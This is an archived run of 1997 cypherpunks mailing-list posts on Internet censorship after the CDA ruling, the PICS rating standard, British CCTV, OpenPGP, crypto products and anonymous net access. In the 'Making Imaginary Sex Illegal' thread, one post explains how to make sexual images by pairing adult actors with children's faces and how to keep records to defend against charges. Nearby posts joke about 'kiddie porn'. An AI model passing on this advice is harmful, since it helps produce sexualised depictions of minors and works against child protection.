To: fight-censorship@vorlon.mit.edu
Subject: White House swaps stand and decides to invite ACLU after all

[Two hours after the ACLU issued this press release and journalists
started to call, the White House reversed its stand. Now it says the ACLU
is permitted to come to the meeting tomorrow after all. --Declan]

***********

                           White House Excludes ACLU and Others 
                        From Summit Meeting on Internet Censorship

FOR IMMEDIATE RELEASE: Tuesday, July 15, 1997
Contact: Emily Whitfield, (212) 549-2566

WASHINGTON -- Contrary to earlier Administration statements, the White House
has failed to invite the American Civil Liberties Union and other leading
civil liberties organizations to its high-level conference on Internet
censorship.

"With this last-minute shift, the Administration has set an unfortunate
beginning to this important process," said Donald Haines, ACLU Legislative
Counsel for the Washington National Office.

"Just as the ACLU continues to work with members of Congress as they shape
national policy regarding the Internet," Haines said, "we were most
interested in working with President Clinton and Vice President Gore on
finding strategies to empower parents to help their children use the Internet
wisely." 

The conference, set to take place on Wednesday, July 17, includes
representatives from Internet giants Microsoft, America Online and Prodigy
and executives from filtering software companies, as well as the Internet
censorship group Enough is Enough.  The American Library Association, a
defender of online free speech, was invited, but the Electronic Privacy
Information Center, a Washington, D.C.-based cyber-liberties group, was
excluded along with the ACLU. 

"The Administration's failure to open this process to all interested parties
is short-sighted and could ultimately lead to another expensive legal
battle," Haines added.

Tomorrow's meeting on Internet censorship comes in the wake of a landmark
Supreme Court decision late last month striking down censorship provisions of
the Communications Decency Act as unconstitutional.  

The ACLU filed a lawsuit challenging the CDA on behalf of  20 organizations
and individuals, the day after President Clinton signed the law.   Several
weeks later, a second group of plaintiffs filed another challenge, American
Library Association v. Department of Justice.  The two challenges were
consolidated into ACLU v. Reno by a federal district curt in Philadelphia,
which ultimately ruled that the law was unconstitutional.  The government
appealed that ruling and the case moved up to the Supreme Court.  

Writing for a nearly unanimous Court in Reno v. American Civil Liberties
Union, Justice John Paul Stevens said that "the interest in encouraging
freedom of expression in a democratic society outweighs any theoretical but
unproven benefit of censorship."

Commenting on the law's purported aim to protect minors from so-called
indecency, Justice Stevens noted that "Under the CDA, a parent allowing her
17-year-old to use the family computer to obtain information on the Internet
that she, in her parental judgment, deems appropriate, could face a lengthy
prison term."

"The Court's decision was clearly written to protect individual online
users," said the ACLU's Haines.  "They, not industry giants, are the people
the ACLU represents, and they are the people who are being denied a voice in
this meeting." 
 
-endit-









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Michael Stutz <stutz@dsl.org>
Date: Wed, 16 Jul 1997 04:51:36 +0800
To: Steve Schear <azur@netcom.com>
Subject: Re: Making Imaginary Sex Illegal
In-Reply-To: <v03102802aff173397d63@[10.0.2.15]>
Message-ID: <Pine.LNX.3.94.970715163006.28857D-100000@seka.nacs.net>
MIME-Version: 1.0
Content-Type: text/plain



On Tue, 15 Jul 1997, Steve Schear wrote:

> The real issue is: Thought Crime.

"The only war that counts is the war on the imagination." --Diane DiPrima





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Wed, 16 Jul 1997 05:17:26 +0800
To: cypherpunks@toad.com
Subject: C2Net Software's Stronghold Web Server Adds nCipher 	Hardware Encryption Support
Message-ID: <v03110710aff193e40427@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain




--- begin forwarded text


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Date: Tue, 15 Jul 1997 13:04:32 -0400
To: espam@intertrader.com, e$pam <e$pam@atanda.com>
From: Robert Hettinga <rah@shipwright.com>
Subject: C2Net Software's Stronghold Web Server Adds nCipher 	Hardware
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From: Robert Hettinga <rah@shipwright.com>
Reply-To: rah@shipwright.com
Organization: The Shipwright Development Corporation
MIME-Version: 1.0
To: Robert Hettinga <rah@shipwright.com>
Subject: C2Net Software's Stronghold Web Server Adds nCipher
	Hardware Encryption Support

http://www.prnewswire.com:80/cgi-bin/stories.pl?ACCT=104&STORY=/www/s
tory/7-14-9
 7/275856&EDATE=

 Content-Type: text/plain; charset=us-ascii; name="275856&EDATE="
 Content-Disposition: inline; filename="275856&EDATE="
 X-MIME-Autoconverted: from 8bit to quoted-printable by lbo.leftbank.com i d
 KAA11101

                                 [Todays News]

 C2Net Software's Stronghold Web Server Adds nCipher Hardware Encryption
 Support

     OAKLAND, Calif., July 14 /PRNewswire/ -- C2Net Software today announc ed
 its Stronghold(TM) secure web server now supports the nFast hardware
 cryptographic accelerator from nCipher Corporation Ltd. "Like Stronghold,  the
 nFast accelerator is manufactured outside of the U.S., enabling us to off er
 our world-wide customers a simple, platform-independent way to speed up s
ecure
 web server throughput," said C2Net Software president Sameer Parekh. "Man y
 will find that Stronghold's terrific out-of-the-box performance is more t han
 enough for their needs. If not, adding one or more nFast units is a fast,
 simple way to increase encryption performance as required."
     "nCipher's nFast cryptographic accelerators enhance e-commerce and on line
 transactions by speeding up the processing of crypto keys," said Alex van
 Someren, president of nCipher. "Using nFast together with the Stronghold  web
 server gives customers throughout the world a quickly-scalable environmen
t for
 conducting secure business on the Internet."
     nCipher's nFast cryptographic accelerator interfaces via a standard S CSI2
 interface, making it compatible with virtually any computer platform, and
 mounts within the space of a standard 3.5-inch disk drive bay. Each nFast
 accelerator can carry out approximately three hundred 1024-bit public key
 signings per second.
     The Stronghold Web Server is an enhanced, secure, commercial version  of
 the popular Apache server. Based on figures in a Netcraft survey
  (http://www.netcraft.com/survey/), Stronghold is the second most popular
 commercial server for UNIX and the second most popular for secure applica
tions
 on the Internet.
      nCipher Corporation Ltd. (http://www.ncipher.com/), an affiliate of  the
 Newbridge Network Corporation (NYSE: NN), is a privately-owned developer  of
 cryptographic technologies for securing server transactions, including bo th
 software and hardware cryptographic acceleration products. nCipher
 headquarters are located in Cambridge, England, with US offices in Andove
r, MA
 and in Santa Clara, CA.
      C2Net Software, Inc. (http://www.c2.net/) is a leading provider of
 uncompromised network security software. Through its international offsho re
 development programs, all C2Net products are exempt from U.S. government
 export restrictions, allowing the company to offer uncrippled, strong
 cryptography solutions to customers worldwide.

 SOURCE  C2Net Software Inc.

 CONTACT: Steve Cook of C2Net Software, Inc., 510-986-8770

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"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Unprivileged user <nobody@www.video-collage.com>
Date: Wed, 16 Jul 1997 05:44:01 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Making Imaginary Sex Illegal
In-Reply-To: <19970715115457.07611@bywater.songbird.com>
Message-ID: <97Jul15.173517edt.32258@brickwall.ceddec.com>
MIME-Version: 1.0
Content-Type: text/plain



On Tue, 15 Jul 1997, Kent Crispin wrote:

> On Tue, Jul 15, 1997 at 12:25:55PM -0400, Unprivileged user wrote:
> > But to return to the cypher aspect, what about altering existing images so
> > that they are unidentifiable as to whether they are from real acts or
> > truly the products of an imagination.  Will we now need someone from the
> > government to certify the kiddie porn isn't real?
> 
> Yes, that's the logical next step -- Government Approved Porn (GAP).  
> Perhaps we could get Senator Hatch to sponsor a bill?
> 
> The constitutional implications are staggering.

Actually, Government Approved Kiddieporn, or GAK.  Isn't Hatch already for
GAK?

--- reply to tzeruch - at - ceddec - dot - com ---






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Wed, 16 Jul 1997 08:54:25 +0800
To: cypherpunks@cyberpass.net
Subject: Prepaid/anon net access
Message-ID: <3.0.3.32.19970715173721.0086cac0@mail.io.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1


www.wired.com has a little blurb about the people at 
<http://www.auricweb.com/Accesscard.html>, apparently they're 
offering/planning to offer prepaid net access cards (similar to prepaid phone 
cards) whereby one can dial an 800 number, then enter a username/PW for 20 
mins of dialup PPP. (they don't provide E-mail accounts, you have to have 
your own provider for that.) 

More tools for tentacles.


-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQA/AwUBM8wXsWcCR88m5EiMEQLxzACfRpDqQ+YUEUDpq7MxgmD+kjDZQ+wAnR52
649yXdt84bHMA3TC63blT9Yn
=80qU
-----END PGP SIGNATURE-----

--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Damaged Justice <frogfarm@yakko.cs.wmich.edu>
Date: Wed, 16 Jul 1997 05:43:47 +0800
To: cypherpunks@Algebra.COM
Subject: Re: CCTV Cameras in Britain
Message-ID: <199707152143.RAA22086@yakko.cs.wmich.edu>
MIME-Version: 1.0
Content-Type: text




-- forwarded message --
Path: wmich-news!gumby!newspump.wustl.edu!fas-news.harvard.edu!oitnews.harvard.edu!rutgers!usenet.logical.net!news-out.internetmci.com!infeed1.internetmci.com!newsfeed.internetmci.com!vixen.cso.uiuc.edu!uwm.edu!computer-privacy-request
From: David Alexander <davea@caplin.demon.co.uk>
Newsgroups: comp.society.privacy
Subject: Re: CCTV Cameras in Britain
Date: 14 Jul 1997 16:05:55 GMT
Organization: Computer Privacy Digest
Lines: 71
Sender: comp-privacy@uwm.edu
Approved: comp-privacy@uwm.edu
Message-ID: <comp-privacy11.3.12@cs.uwm.edu>
NNTP-Posting-Host: 129.89.2.6
X-Original-Submission-Date: 10 Jul 1997 11:33:18 +0100
X-Submissions-To: comp-privacy@uwm.edu
X-Administrivia-To: comp-privacy-request@uwm.edu
X-Computer-Privacy-Digest: Volume 11, Issue 003, Message 12 of 16
X-Auth: PGPMoose V1.1 PGP comp.society.privacy
	iQBFAwUBM8oxCjNf3+97dK2NAQF46gF/RZ6tN/V6TQwOCyyAzJeCTngaqMu4IW9h
	Wm81iJFNAWYI59zJGoRVjd+b9u3TefKX
	=im9q
Originator: levine@blatz.cs.uwm.edu
Xref: wmich-news comp.society.privacy:424

I read with interest the comments about CCTV cameras that were in the
last 2 mailings. I note that Steve does not live in the UK, and I would
like to present a residents' view of these cameras.

    Privacy International says that in Britain, there are an estimated
    300,000 CCTV surveillance cameras in public areas, housing estates,
    car parks, public facilities, phone booths, vending machines,
    buses, trains, taxis, alongside motorways and inside Automatic
    Teller (ATM) Machines. Originally installed to deter burglary,
    assault and car [...] Do we try to protect Democratic freedoms by
    legislating safeguards against the abuse of private data? Must we
    accept that the mightiest individuals and institutions cannot be
    held accountable, and there is no use in trying? Or do we simply
    acquiesce, and accept that privacy is an outdated concept when
    cheap technology makes everyone vulnerable, wolves and lambs
    alike?  The choices are not easy, but in the words of David Brin,
    "asking questions can be a good first step".

Yes, there are many cameras, and more going up all the time. The vast
majority of the population is glad that these cameras are being
introduced. Ordinary crime has been reduced greatly in those areas
(proven fact) where the cameras are in use. We also have a big problem
with Terrorism by the Provisional IRA over here, and the same cameras
have been instrumental in the foiling of numerous terrorist operations
and capture of those responsible for others (we have had 3 bombs
detonated in England larger than the one at Oklahoma in the last 3
years).

A very popular and effective program on UK TV is called 'Crimewatch'
where video footage, from these cameras, of crimes and suspects is
shown not for sensationalism and ratings but in order to ask for help
identifying the perpetrators.  It is very effective and crimes featured
have a very high clear-up rate.

    One of the instruments needed to thwart such surveillence is the
    adoption of 'masks' which are socially acceptable for public use.
    Ideally they should all look alike, sort of something out of The
    Prisoner. Once a certain threshold of adoption has been passed the
    only option for law enforcement will be to remove the offending
    devices or declare maks illegal for public use (a real stretch for
    civil liberties).

Yeah, right, get real. The only reason you might want to avoid being
identified is if you have something to hide. Wearing a mask is only
going to draw attention to you, and if you think everyone is suddenly
going to start wearing masks...like I said in paragarph one, most
people over here welcome the cameras.

Please don't misinterpret my motives. I would be the first to celebrate
if no threat to privacy existed. Unfortunately there are immoral,
irresponsible and downright antisocial (not to mention the
psychologically unsound) people who will not abide by the law, or to
what we regard as social norms and persist in infringing our rights.
As long as those people exist, and no better way of deterring and
tracking them down after the (often tragic) offence has been committed,
then we need such laws and technology.

I would feel very ashamed if my attempts to protect my rights caused
the death of innocent people because security against those who are
irresponsible had to be drastically cut back.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
David Alexander    AIX Support Professional V3 & V4, SP Certified
Technical Manager
Caplin Cybernetics Corporation           E-mail: davea@caplin.com
Windmill Business Village                Tel:        01932 778172 
Brooklands Close, Sunbury-on-Thames      Fax:        01932 779606
Middlesex  TW16 7DY, England
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~


-- end of forwarded message --





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Wed, 16 Jul 1997 08:54:00 +0800
To: davea@caplin.demon.co.uk
Subject: Re: CCTV Cameras in Britain
In-Reply-To: <199707152143.RAA22086@yakko.cs.wmich.edu>
Message-ID: <v03102805aff1c360c471@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain



At 5:43 PM -0400 7/15/97, Damaged Justice wrote:
>-- forwarded message --
>From: David Alexander <davea@caplin.demon.co.uk>
>
>    Privacy International says that in Britain, there are an estimated
>    300,000 CCTV surveillance cameras in public areas, housing estates,
>    car parks, public facilities, phone booths, vending machines,
>    buses, trains, taxis, alongside motorways and inside Automatic
>    Teller (ATM) Machines. Originally installed to deter burglary,
>    assault and car [...] Do we try to protect Democratic freedoms by
>    legislating safeguards against the abuse of private data? Must we
>    accept that the mightiest individuals and institutions cannot be
>    held accountable, and there is no use in trying? Or do we simply
>    acquiesce, and accept that privacy is an outdated concept when
>    cheap technology makes everyone vulnerable, wolves and lambs
>    alike?  The choices are not easy, but in the words of David Brin,
>    "asking questions can be a good first step".
>
>Yes, there are many cameras, and more going up all the time. The vast
>majority of the population is glad that these cameras are being
>introduced. Ordinary crime has been reduced greatly in those areas
>(proven fact) where the cameras are in use. We also have a big problem
>with Terrorism by the Provisional IRA over here, and the same cameras
>have been instrumental in the foiling of numerous terrorist operations
>and capture of those responsible for others (we have had 3 bombs
>detonated in England larger than the one at Oklahoma in the last 3
>years).

Yes, well initial reaction to such Big Brother measures are often greeted,
initially, by the sheeple as in their best interest.

As for the IRA, although I am not a UK resident I did live there for some
time, I think most of the violence is a result of mean intentioned English
policies in the later part of the 19th and early 20th century.  I doubt the
surveillence can put an end to terrorism without doing away with much of
the English population's privacy.

>
>A very popular and effective program on UK TV is called 'Crimewatch'
>where video footage, from these cameras, of crimes and suspects is
>shown not for sensationalism and ratings but in order to ask for help
>identifying the perpetrators.  It is very effective and crimes featured
>have a very high clear-up rate.
>
>    One of the instruments needed to thwart such surveillence is the
>    adoption of 'masks' which are socially acceptable for public use.
>    Ideally they should all look alike, sort of something out of The
>    Prisoner. Once a certain threshold of adoption has been passed the
>    only option for law enforcement will be to remove the offending
>    devices or declare maks illegal for public use (a real stretch for
>    civil liberties).
>
>Yeah, right, get real. The only reason you might want to avoid being
>identified is if you have something to hide. Wearing a mask is only
>going to draw attention to you, and if you think everyone is suddenly
>going to start wearing masks...like I said in paragarph one, most
>people over here welcome the cameras.

Youth is always looking for a way to make a statement or stand out in the
crowd.  This could be an effective means to both poke the surveillence
state in the eye and be noticed.

>
>Please don't misinterpret my motives. I would be the first to celebrate
>if no threat to privacy existed. Unfortunately there are immoral,
>irresponsible and downright antisocial (not to mention the
>psychologically unsound) people who will not abide by the law, or to
>what we regard as social norms and persist in infringing our rights.
>As long as those people exist, and no better way of deterring and
>tracking them down after the (often tragic) offence has been committed,
>then we need such laws and technology.

That's what personal firearms are for...

Its no coincedence that the incedence of 'hot' bugluries (that is one's in
which the owner is in residence during the incident) are about 60% for the
UK and 15% for the US.  Sentenced US criminals are much more careful in
'casing' a residence and, unlike their UK counterparts, rarely enter in the
evening when they are much more likely to get shot.

>
>I would feel very ashamed if my attempts to protect my rights caused
>the death of innocent people because security against those who are
>irresponsible had to be drastically cut back.

I wouldn't.  Its the state's duty to protect my liberties and if they can't
or won't the obligation falls on me.

The product of liberty and security is a constant.


--Steve






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Wed, 16 Jul 1997 09:44:26 +0800
To: cypherpunks@Algebra.COM
Subject: Re: CCTV Cameras in Britain
In-Reply-To: <199707152143.RAA22086@yakko.cs.wmich.edu>
Message-ID: <19970715183341.01502@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Tue, Jul 15, 1997 at 05:43:59PM -0700, Steve Schear wrote:
[.deleted.]
> 
> I wouldn't.  Its the state's duty to protect my liberties and if they can't
> or won't the obligation falls on me.
>
> The product of liberty and security is a constant.

This is obviously false.  Zero liberty and zero security is a quite
possible situation (laying strapped to the table, waiting for your 
lethal injection, for example), as is some liberty and some security (the 
normal situation).

Of course, in this context "liberty" is a religious word, with little 
semantic content.

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Wed, 16 Jul 1997 09:07:36 +0800
To: Steve Schear <azur@netcom.com>
Subject: Re: CCTV Cameras in Britain
In-Reply-To: <v03102805aff1c360c471@[10.0.2.15]>
Message-ID: <199707160105.UAA15117@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <v03102805aff1c360c471@[10.0.2.15]>, on 07/15/97 
   at 05:43 PM, Steve Schear <azur@netcom.com> said:

>As for the IRA, although I am not a UK resident I did live there for some
>time, I think most of the violence is a result of mean intentioned
>English policies in the later part of the 19th and early 20th century.  I
>doubt the surveillence can put an end to terrorism without doing away
>with much of the English population's privacy.

There is a simple solution to the IRA problem: The English need to get the
fuck out of Ireland!!!

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

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zY3XRhxZJxo=
=tLSg
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Wed, 16 Jul 1997 12:03:36 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Making Imaginary Sex Illegal
In-Reply-To: <33CAC79B.6293@nwdtc.com>
Message-ID: <v03007812aff1f350203c@[207.94.249.49]>
MIME-Version: 1.0
Content-Type: text/plain



At 11:54 AM -0700 7/15/97, Kent Crispin wrote:
>On Tue, Jul 15, 1997 at 12:25:55PM -0400, Unprivileged user wrote:
>> But to return to the cypher aspect, what about altering existing images so
>> that they are unidentifiable as to whether they are from real acts or
>> truly the products of an imagination.  Will we now need someone from the
>> government to certify the kiddie porn isn't real?
>
>Yes, that's the logical next step -- Government Approved Porn (GAP).
>Perhaps we could get Senator Hatch to sponsor a bill?

We have government approved gambling with terrible odds already.  This
sounds like the next logical step.


-------------------------------------------------------------------------
Bill Frantz       | The Internet was designed  | Periwinkle -- Consulting
(408)356-8506     | to protect the free world  | 16345 Englewood Ave.
frantz@netcom.com | from hostile governments.  | Los Gatos, CA 95032, USA






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Wed, 16 Jul 1997 12:07:57 +0800
To: Unprivileged user <cypherpunks@Algebra.COM
Subject: Re: Making Imaginary Sex Illegal
In-Reply-To: <33CAC79B.6293@nwdtc.com>
Message-ID: <v03007813aff1f6fefe10@[207.94.249.49]>
MIME-Version: 1.0
Content-Type: text/plain



At 9:25 AM -0700 7/15/97, Unprivileged user wrote:
>If "computer-simulated" images are legal, how can you tell that it is
>computer simulated?

Well, for a start, you can save evidence of the steps you took in making
the images.  If you are combining images (adult actors for the X stuff, and
children for the faces etc.) then save the original images and some of the
rejected intermediate images.  If you are drawing from scratch (e.g. using
paint and brush), save the sketches, and perhaps also photos of the
intermediate stages of the final image.

Given a rational legal system (Yea, I know), these steps should give a
complete defense against the charge that you abused children in making the
images.


-------------------------------------------------------------------------
Bill Frantz       | The Internet was designed  | Periwinkle -- Consulting
(408)356-8506     | to protect the free world  | 16345 Englewood Ave.
frantz@netcom.com | from hostile governments.  | Los Gatos, CA 95032, USA






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Wed, 16 Jul 1997 10:06:10 +0800
To: cypherpunks@toad.com
Subject: Global Banking Docs
Message-ID: <1.5.4.32.19970716014905.006f00dc@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



For those who may have missed it, the European Committee for 
Banking Standards offers its "Secure Banking Over The Internet," 
March, 1997. An abstract of the 62-page report which also 
evaluates global electronic security and cryptographic tools:

   This ECBS Technical Report shall provide a survey of current 
   and planned banking use of the Internet, investigate the
   security requirements for secure banking on the Internet, 
   provide a survey of the security-related protocols, services 
   and applications on the Internet, discuss other requirements 
   for global banking (e.g. banking secrecy, data privacy, export 
   issues), and provide an outlook on new banking applications and 
   services such as electronic cash.

It's available in PDF format (241K) at:

   http://www.r3.ch/standards/ecbs/papers/tr401sbi.pdf

A mirror of the report is at: 

   http://jya.com/tr401sbi.pdf

Note: Acrobat reader version 3.0 is required; version 2.1 cannot 
read the report.

----------

The FDIC has published today a request for comment on
its proposed international banking regulations which
combines and consolidates its current three regs:

   http://jya.com/fdic071597.txt  (231K)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Wed, 16 Jul 1997 13:22:17 +0800
To: cypherpunks@toad.com
Subject: Re: White House swaps stand and decides to invite ACLU after all
Message-ID: <Pine.GSO.3.95.970715220344.15222A-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain





---------- Forwarded message ----------
Date: Tue, 15 Jul 1997 23:05:15 -0400
From: "Shabbir J. Safdar" <shabbir@vtw.org>
To: Declan McCullagh <declan@well.com>, fight-censorship@vorlon.mit.edu
Cc: barrys@aclu.org, beeson@aclu.org, privaclu@aol.com
Subject: Re: White House swaps stand and decides to invite ACLU after all

Some obvious problems with this bit:

At 3:28 PM -0700 7/15/97, Declan McCullagh wrote:
>[Two hours after the ACLU issued this press release and journalists
>started to call, the White House reversed its stand. Now it says the ACLU
>is permitted to come to the meeting tomorrow after all. --Declan]

I know people who received their invites late this afternoon, so it's not
obvious that the ACLU wasn't invited, just that they got their invitation
later than everyone else.

>From aclu press release:
>"The Court's decision was clearly written to protect individual online
>users," said the ACLU's Haines.  "They, not industry giants, are the people
>the ACLU represents, and they are the people who are being denied a voice in
>this meeting."

As a hard working member of the net civil liberties community I find it
inappropriate that the ACLU assumes that even though other civil liberties
folks will be there, including myself, that we don't represent Internet
users.  I don't think any of us has the right to say who solely represents
the Internet community.  To say that even though VTW and CDT and ALA and
others will be there, that the net community is still not represented is
pretty out of line.

And though I'm not defending the fact the White House's actions, I wonder
if it occurs to anyone that the reason they were left until last is because
when the White House started moving away (in the Magaziner paper) from the
CDA the week before the SC decision, the ACLU dissed them in the press.

Perhaps the reaction to that shouldn't have been to trash them in the
press, but to say encouraging things while saying "Actions will speak
louder than anything".  It's not as if the White House can't modify their
position on this issue, they've moved around on others before.  Shouldn't
we make that work for us for once?

To diss them, regardless of what they do, violates the "carrot and stick"
principle of politics.  If they say stuff we agree with, like "no
legislation please" and then we diss them, why will they bother to stick up
for the net anymore?

-S









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Wed, 16 Jul 1997 13:57:30 +0800
To: cypherpunks@toad.com
Subject: The Big Sellout
Message-ID: <Pine.GSO.3.95.970715221302.15222E-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain





---------- Forwarded message ----------
Date: Tue, 15 Jul 1997 22:35:21 -0400
From: Michael Sims <jellicle@inch.com>
To: fight-censorship@vorlon.mit.edu
Cc: jberman@cdt.org, jseiger@cdt.org
Subject: The Big Sellout

So CDT, a few questions:

1)  "The Center for Democracy and Technology, meanwhile, is
supposed to debut a Web page that would give parents information on
how and where to get free smut-screening software, Berman said."

Did ya really?  Smut-screening software?

2)  Do you feel that mandatory voluntary net ratings are an 
improvement over the CDA?  If so, why?

3)  Does the statement by the National PTA, a censorious group if
ever there was one, that they favor "voluntary" action give you any
pause?  That is, if your two organizations are on the same side
here, do you ever wonder if these actions are achieving your goals
or theirs?



-- Michael Sims







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dave Del Torto <ddt@pgp.com>
Date: Wed, 16 Jul 1997 13:43:36 +0800
To: Cypherpunks <cryptography@c2.net>
Subject: [ANNOUNCE] IETF "OpenPGP" Standard thread beginning
Message-ID: <v04000833aff1577f84dd@[205.180.136.26]>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Greetings,

The OpenPGP standard discussion is now on the IETF Standards track through the courtesy of the Internet Mail Consortium.

The first event will be an OpenPGP BOF (Birds of a Feather) discussion at the Munich IETF meeting in August 97 (see www.ietf.org) to determine what interested parties want to have included/supported in the OpenPGP standard.

Meanwhile, the IETF OPEN-PGP mailing list is being hosted by the IMC for the IETF. The list mechanism is currently accepting subscriptions, but the list itself will not be active for posting for a few more days (notifications will be made to subscribers when it is active). If you'd like to sign up for the IETF's OpenPGP mailing list now, please send email as follows:

     To: ietf-open-pgp-request@imc.org
   Body: subscribe

 (If your mailer/etc supports "hot" links, just double-click this URL:
  <mailto:ietf-open-pgp-request@imc.org?body=subscribe>)

For related materials, including the archive of the OpenPGP mailing list, please see the IMC website at: <http://www.imc.org/ietf-open-pgp/>.
For information on PGP Inc's involvement with this standards activity, please contact Charles Breed <cbreed@pgp.com> or myself.

   dave

__________________________________________________________________________
 Dave Del Torto      tel: +1.415.596.1781        Pretty Good Privacy, Inc
                                                555 Twin Dolphin Dr. #570
  ddt@pgp.com        fax: +1.415.631.1033         Redwood Shores CA 94065
  engineering        key: see X-PGP header        web: http://www.pgp.com


-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

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hAj9CjRUeJJ3T5WuoT/9kHScYl1FfwYXF82tLcztNsDmYdjRYylFQ1uiaIeDRMUU
tBZyi7+NkyHIpd6trFqGDd4F61mb/nxOZQvx7t7XJLHo0pATdflL1OwGEUOAD1jw
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-----END PGP SIGNATURE-----








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Wed, 16 Jul 1997 14:44:58 +0800
To: Declan McCullagh <cypherpunks@toad.com
Subject: Re: The Big Sellout
In-Reply-To: <Pine.LNX.3.95.970716010735.7565A-100000@vorlon.mit.edu>
Message-ID: <3.0.2.32.19970715230342.006f15a8@netcom10.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 01:07 AM 7/16/97 -0400, Declan McCullagh wrote:
>For instance, Netscape Communications is expected to announce it will
>back a software standard that allows people, using a Web browser,
>either to block or select certain Web sites based on their electronic
>labels, said industry and government sources, speaking on condition of
>anonymity.

Should such a system ever see widespread use, which I doubt, I only be a
matter of days before somebody puts up pages featuring gratuitous violence,
hard-core pornography, "how to kill your parents using common household
chemicals", and pages of similar nature. At which point we will quickly
discover just how "voluntary" this "voluntary standard" is.

Sure the CDA was struck down by the Supreme Court. Would a law prohibiting
"mislabeling" of websites be struck down as well? I doubt it.



--Lucky Green <shamrock@netcom.com>
  PGP encrypted mail preferred.
  DES is dead! Please join in breaking RC5-56.
  http://rc5.distributed.net/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Secret Squirrel <nobody@secret.squirrel.owl.de>
Date: Wed, 16 Jul 1997 08:34:32 +0800
To: cypherpunks@toad.com
Subject: [FC97] Anonymous Networking?
Message-ID: <19970715232105.14329.qmail@squirrel.owl.de>
MIME-Version: 1.0
Content-Type: text/plain



Can someone summarize McCoy's `Anonymous Networking and Virtual Intranets'
from FC97 plz?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Wed, 16 Jul 1997 14:58:39 +0800
To: Lucky Green <shamrock@netcom.com>
Subject: Re: The Big Sellout
In-Reply-To: <3.0.2.32.19970715230342.006f15a8@netcom10.netcom.com>
Message-ID: <Pine.GSO.3.95.970715233716.9149D-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain



I spoke to Netscape earlier today. The company previously had announced it
would support PICS in a future version of Navigator. Now it's pledging to
support PICS in the *next* version.

-Declan


On Tue, 15 Jul 1997, Lucky Green wrote:

> At 01:07 AM 7/16/97 -0400, Declan McCullagh wrote:
> >For instance, Netscape Communications is expected to announce it will
> >back a software standard that allows people, using a Web browser,
> >either to block or select certain Web sites based on their electronic
> >labels, said industry and government sources, speaking on condition of
> >anonymity.
> 
> Should such a system ever see widespread use, which I doubt, I only be a
> matter of days before somebody puts up pages featuring gratuitous violence,
> hard-core pornography, "how to kill your parents using common household
> chemicals", and pages of similar nature. At which point we will quickly
> discover just how "voluntary" this "voluntary standard" is.
> 
> Sure the CDA was struck down by the Supreme Court. Would a law prohibiting
> "mislabeling" of websites be struck down as well? I doubt it.
> 
> 
> 
> --Lucky Green <shamrock@netcom.com>
